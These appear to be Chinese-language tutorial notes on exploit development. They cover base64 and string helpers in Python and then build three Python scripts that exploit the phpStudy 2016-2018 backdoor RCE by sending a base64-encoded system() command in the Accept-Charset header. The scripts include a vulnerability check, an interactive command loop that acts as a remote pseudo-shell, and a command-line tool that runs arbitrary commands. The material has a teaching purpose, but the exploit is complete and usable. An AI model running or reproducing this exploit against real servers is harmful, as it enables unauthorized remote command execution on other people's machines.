名词 | 解释 |
---|---|
POC (Proof of Concept) | 漏洞验证代码,验证漏洞的存在性。 |
EXP (Exploit) | 渗透、攻击; 完整的漏洞利用工具 |
RCE (Remote Code|Command Execute) |
* 漏洞的类型 * 在远程目标上执行(任意语言)代码或(系统)命令 |
手工验证漏洞的问题:
针对RCE(执行系统命令) 漏洞开发EXP,常见的RCE 漏洞:
考虑将写好的EXP 集成到pocsuite3 框架中msf的替代。
无损检测
无损扫描
base64 模块就是用来进行base64 编解码操作的模块。
直接利用模块中函数即可,注意使用二进制形式进行编码。
>>> import base64
>>> s = '''system("whoami");'''
>>> base64.b64encode(s.encode())
b'c3lzdGVtKCJ3aG9hbWkiKTs='
>>> base64.b64encode(s.encode()).decode()
'c3lzdGVtKCJ3aG9hbWkiKTs='
>>>
直接使用函数即可。
>>> import base64
>>> s = "c3lzdGVtKCJ3aG9hbWkiKTs="
>>> base64.b64decode(s)
b'system("whoami");'
>>> base64.b64decode(s).decode()
'system("whoami");'
>>>
字符集合模块。
>>> import string
>>> string.
string.Formatter( string.ascii_uppercase string.octdigits
string.Template( string.capwords( string.printable
string.ascii_letters string.digits string.punctuation
string.ascii_lowercase string.hexdigits string.whitespace
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
>>> string.printable.strip()
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
>>>
# phpstudy_2016-2018_rce
"""
GET /phpinfo.php HTTP/1.1
Host: 10.4.7.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept-Encoding: gzip,deflate
Accept-Charset:
"""
import requests
import base64
url = "http://192.168.16.177/phpinfo.php"
cmd = "net user"
cmd = f'''system("{cmd}");'''
cmd = base64.b64encode(cmd.encode()).decode()
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
"Accept-Encoding" : "gzip,deflate",
"Accept-Charset" : f"{cmd}" #在base64编码命令的时候系统命令要加上分号
}
res = requests.get(url = url, headers = headers)
html = res.content.decode("GBK")
offset = html.find(")
result = html[0:offset]
print(result)
# phpstudy_2016-2018_rce
import requests
import base64
import sys
import re
import random
import string
banner = """
PHPStudy_2016-2018
( ) ( ) ( )
| |_ _ _ ___ | |/') _| | _ _ _ __
| '_`\ /'_` ) /'___)| , < /'_` | /'_`\ /'_`\ ( '__)
| |_) )( (_| |( (___ | |\`\ ( (_| |( (_) )( (_) )| |
(_,__/'`\__,_)`\____)(_) (_)`\__,_)`\___/'`\___/'(_)
- AJEST
Usage: python3 *.py http://10.4.7.130/phpinfo.php
"""
def attack(cmd, url):
cmd = f'''system("{cmd}");'''
cmd = base64.b64encode(cmd.encode()).decode()
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
"Accept-Encoding" : "gzip,deflate",
"Accept-Charset" : f"{cmd}"
}
res = requests.get(url = url, headers = headers)
html = res.content.decode()
offset = html.find(")
result = html[0:offset].strip()
return result
def gen_random_str(l):
s = ""
for i in range(l):
i
s += random.choice(string.ascii_letters)
return s
def verify(url):
random_str = gen_random_str(32)
cmd = f"echo {random_str}"
if random_str in attack(cmd, url):
return True
else:
return False
if len(sys.argv) < 2:
print(banner)
exit()
url = sys.argv[1]
print(f"Target: {url}")
if not verify(url):
print(f"The Target is NOT VULNERABLE!")
exit()
flag = input(f"The Target is VULNERABLE!\nCould you want to continue?[Y/n]")
if flag == "n":
exit()
info = re.findall(r'http://(.*)/', url)[0]
while True:
cmd = input(f"<{info}> ")
if cmd == "exit":
break
print(attack(cmd, url))
"""
设计需求:
1. 加上选项:
-u/--url 制定检测目标
-c/--cmd 要执行的命令
无选项时,输出banner信息
a. 创建解析对象
b. 设定选项
c. 解析选项对象
2. 漏洞检测:无损检测
3. 批量扫描???????
4. 漏洞利用:执行任意命令
"""
import argparse #是导入了 argparse 库,它是 Python 标准库中的一个模块,用于解析命令行参数。
import requests
import base64
import string #使用string函数
import random #随机选择
from pyfiglet import Figlet #这是导入 pyfiglet 库中的 Figlet 类,该类用于创建 ASCII 艺术字体。
from termcolor import colored #这是导入 termcolor 库中的 colored 和 cprint 函数,用于在控制台中打印彩色文本。
banner =''' Usage : python3 *.py -u url -c cmd'''
f = Figlet(font='slant')
print("="*80)
print("*"*80)
print(f.renderText('phpstudy_RCE'))
print("*"*80)
print("="*80)
def attack(cmd):
cmd = f"system('{cmd}');"
cmd = base64.b64encode(cmd.encode()).decode() # cmd.encode():将字符串 cmd 使用 UTF-8 编码转换为字节串。base64.b64encode():使用 Base64 编码对字节串进行编码。Base64 是一种将任意字节数据转换为可打印 ASCII 字符的编码方式。`.decode()`:将编码后的字节串解码为字符串。通过调用 `.decode()` 方法将 Base64 编码后的结果转换回字符串形式。
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
"Accept-Encoding":"gzip,deflate",
"Accept-Charset": cmd
}
res = requests.get(url= url,headers= headers)
result = res.content.decode("gb2312")
result = result[:res.text.find(")]
return result
# 漏洞检测
def verify():
random_str = ""
for i in range(10):
random_str += random.choice(string.ascii_letters) # string.ascii_letters 是一个字符串常量,包含了大小写字母 a 到 z 和 A 到 Z。random.choice() 是 random 模块中的一个函数,它接受一个序列作为参数,并从中随机选择一个元素返回。在这里,random.choice(string.ascii_letters) 会随机选择一个大小写字母,并将其添加到 random_str 变量的末尾。
cmd = f"echo {random_str}"
if random_str in attack(cmd):
print(colored(f"[+] Target {url} is VULNERABLE","green"))
else:
print(colored(f"[-] Target {url} is NOT VULNERABLE","red"))
# 创建选项对象
parser = argparse.ArgumentParser() #创建一个 ArgumentParser 对象,它将用于解析命令行参数。使用 ArgumentParser 对象来定义命令行参数的规则和格式。通过调用 ArgumentParser 对象的方法,例如 add_argument(),可以添加不同的参数和选项。
# 设定选项
parser.add_argument('-u','--url',help= '指定检测目标',dest= "url")
parser.add_argument('-c','--cmd',help= '要执行的命令',dest= "cmd")
# 解析选项对象
args= parser.parse_args() #调用 parser 对象的 parse_args() 方法来解析命令行参数。
if not args.url:
print(banner)
exit()
url = args.url
cmd = args.cmd
print(f"[+] The Target: {url}")
print(f"[+] The cmd:{cmd}")
verify()
print(attack(cmd))